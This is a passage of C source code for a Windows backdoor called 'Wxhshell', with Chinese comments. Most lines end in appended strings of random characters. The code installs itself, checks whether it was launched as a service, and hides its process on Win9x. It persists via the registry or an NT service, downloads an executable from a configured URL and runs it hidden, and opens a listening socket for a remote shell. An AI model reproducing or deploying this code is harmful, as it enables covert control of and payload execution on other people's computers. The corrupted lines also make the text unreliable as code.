DWORD BasePriority; lc?9B
ULONG UniqueProcessId; 7y""#-}V[r
ULONG InheritedFromUniqueProcessId; )! Jo7SR
} PROCESS_BASIC_INFORMATION; yM`J+tq
]4^9Tw6
_b
PROCNTQSIP NtQueryInformationProcess; ds}: t.3}6
S8(Y+jgk;a
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g\[?U9qN
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ('hr;s=
|_xU{Pu
HANDLE hProcess; p%/Z
PROCESS_BASIC_INFORMATION pbi; Oe:+%p
3MPmLV#f
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1MkQ$v7m
if(NULL == hInst ) return 0; wJ,l"bnq
Zi<Y?Vm/,O
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e*{'A
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "j#;MOK
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G~b/!clN
i|?EgGFG
if (!NtQueryInformationProcess) return 0; ,UNCBnv1
ixm-wZI
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (,*e\o
if(!hProcess) return 0; 7:awUoV8f
2K[Y|.u8>q
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )zzZYs&|
U.g7' `Z<
CloseHandle(hProcess); Tk\?$n
t@m!k+0
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v50w}w'
if(hProcess==NULL) return 0; <Ih)h$8`
r{R879
HMODULE hMod; n] {sBI3
char procName[255]; .dM4B'OA?
unsigned long cbNeeded; rWsUWA T*
%xv }
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j
N":9+F
&m<:&h& b
CloseHandle(hProcess); 90<z*j$EK
2%o@ ?Rp
if(strstr(procName,"services")) return 1; // 以服务启动 h\dq]yOl
"V|&s/9
return 0; // 注册表启动
StZ GKY[Q
} mu`:@7+Yp
P`^3-X/
// 主模块 T)4pLN
E
int StartWxhshell(LPSTR lpCmdLine) PggjuPPh
{ [[
{L#
SOCKET wsl; t,H=;U#
BOOL val=TRUE; O\0]o!
int port=0; &q8oalh
struct sockaddr_in door; mcO/V-\5'
w1>uD]
if(wscfg.ws_autoins) Install(); X$mCn#8m
QAN :
port=atoi(lpCmdLine); V&e9?5@
&}}UdJ`
if(port<=0) port=wscfg.ws_port; AIN Fv;
EGJ d:>k
WSADATA data; f0!i<9<
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; at<N?r
.: dy d
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; R(.5Hs
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P qUjBP\
door.sin_family = AF_INET; -]hk2Q0
door.sin_addr.s_addr = inet_addr("127.0.0.1"); my1FW,3
door.sin_port = htons(port); iG+hj:5
k9Pwf"m|](
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gs/ i%O
closesocket(wsl); Vd%%lv{v
return 1; kz=Ql|@
} ZRCm'p3
$F&m('aB8
if(listen(wsl,2) == INVALID_SOCKET) { kxvzAKz~
closesocket(wsl); J]mG!# 9
return 1; #M/^n0E
} 76 ]X
Wxhshell(wsl); P6G&3yPt
WSACleanup(); #LU<v
"|k 4<"]
return 0; NAg9EaWja{
HgY [Q}7s
} 8_*31Y
2?c##Izn
// 以NT服务方式启动 ]:"<if gp$
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LZR
x>q^
{ fGtYvl O-5
DWORD status = 0; ~9ZW~z'
DWORD specificError = 0xfffffff; "/ 9EUbca
[}ayaXXQ5
serviceStatus.dwServiceType = SERVICE_WIN32; AT{rg/oSf
serviceStatus.dwCurrentState = SERVICE_START_PENDING; F x4s)(
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O-uno{Fd*
serviceStatus.dwWin32ExitCode = 0; uE'O}Y95
serviceStatus.dwServiceSpecificExitCode = 0; b@s6jNhVO^
serviceStatus.dwCheckPoint = 0; >(.GIR
serviceStatus.dwWaitHint = 0; AX{X:L8Ut2
GBg~NkC7.
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f$y`tT %o
if (hServiceStatusHandle==0) return; 70Z#Ej
j-$F@p_2F
status = GetLastError(); `>1XL 2
if (status!=NO_ERROR) #];b+ T
{ Ga$ J7R
serviceStatus.dwCurrentState = SERVICE_STOPPED; Vd&&GI(:?^
serviceStatus.dwCheckPoint = 0; _-+xzdGvX
serviceStatus.dwWaitHint = 0; j:>_1P/
serviceStatus.dwWin32ExitCode = status; 9'"
F7>d
serviceStatus.dwServiceSpecificExitCode = specificError; _ J t
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?zP/i(1y
return; Ea,L04K
} -xVp}RLT
{r>iUgg
serviceStatus.dwCurrentState = SERVICE_RUNNING; j0wpaIp
serviceStatus.dwCheckPoint = 0; z?3t^UPW
serviceStatus.dwWaitHint = 0; :HiAjaA1pg
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9\ulS2d
} 14DHU
5Q$.q&,
// 处理NT服务事件,比如:启动、停止 T9'd?nw9
VOID WINAPI NTServiceHandler(DWORD fdwControl) a
+$'ULK+r
{ ]_5qME#N
switch(fdwControl) "ZYdJHM
{ ~NV 8avZ
case SERVICE_CONTROL_STOP: *Ei(BrL/;
serviceStatus.dwWin32ExitCode = 0; ^Ay>%`hf*
serviceStatus.dwCurrentState = SERVICE_STOPPED; m%s&$
serviceStatus.dwCheckPoint = 0; c>b!{e@*
serviceStatus.dwWaitHint = 0; 4roqD;5|~|
{ m+!T
$$W
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ASU.VY
} ud
grZ/w]
return; Rt+ak}
case SERVICE_CONTROL_PAUSE: C{<H)?]*BF
serviceStatus.dwCurrentState = SERVICE_PAUSED; N|5fkx<d^
break; S.,5vI"s,
case SERVICE_CONTROL_CONTINUE: UTS.o#d
serviceStatus.dwCurrentState = SERVICE_RUNNING; Z<IN>:l
break; "xduh3/~=
case SERVICE_CONTROL_INTERROGATE: )45#lE3TH
break; <zWMTVaC
}; [X"pOz
SetServiceStatus(hServiceStatusHandle, &serviceStatus); , G2(l
} [k<.BCE
+ktubJ@Qgj
// 标准应用程序主函数 1=L5=uz1d:
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $<da<}b
{ /UG]hJ-wn
aN?^vW<
// 获取操作系统版本 <N(r-
OsIsNt=GetOsVer(); }bZb8hiG
GetModuleFileName(NULL,ExeFile,MAX_PATH); s9rKXY',:l
K41Gn
// 从命令行安装 -T=sY/O
if(strpbrk(lpCmdLine,"iI")) Install(); *!r"+?0gN
<~teD[1k"
// 下载执行文件 SVn $!t
if(wscfg.ws_downexe) { f\vMdY
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )}$]~
f4R
WinExec(wscfg.ws_filenam,SW_HIDE); -P:o ^_)g
} M(U<H;Csk
`$t|O&z
if(!OsIsNt) { (91 YHhk{
// 如果时win9x,隐藏进程并且设置为注册表启动 R~"&E#C
HideProc(); -q30tO.
StartWxhshell(lpCmdLine); 3}2;*:p4Y
} lBzfBmEB
else ><xJQeW
if(StartFromService()) eb>jT:
// 以服务方式启动 lOy1vw'
StartServiceCtrlDispatcher(DispatchTable); |)*9BN
else {,B.OM)J
// 普通方式启动 Wud-(19
StartWxhshell(lpCmdLine); q8!X^1F7
F4]=(T
return 0; `-w, 6
}